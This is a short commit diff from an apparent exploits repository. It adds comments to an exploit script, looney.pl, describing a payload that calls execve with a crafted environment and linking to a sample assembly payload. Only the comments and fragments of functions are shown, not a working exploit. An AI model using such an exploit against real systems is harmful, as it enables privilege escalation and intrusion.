~hckng/exploits

d66a95fae8668a1d86e3a294968c64186ecc6df3 — isra 4 months ago a858bb2
added reference to sample assembly payload
1 files changed, 3 insertions(+), 0 deletions(-)

M looney.pl
M looney.pl => looney.pl +3 -0
@@ 394,6 394,9 @@ sub mprotect {
    return $ret;
}

# payload for calling execve with crafted envp
# payload is adjusted according to $adjust, $addr and $offset
# sample: https://git.sr.ht/~hckng/exploits/tree/master/item/looney_sample.s
sub build_payload {
    my $adjust = shift;
    my $addr   = shift;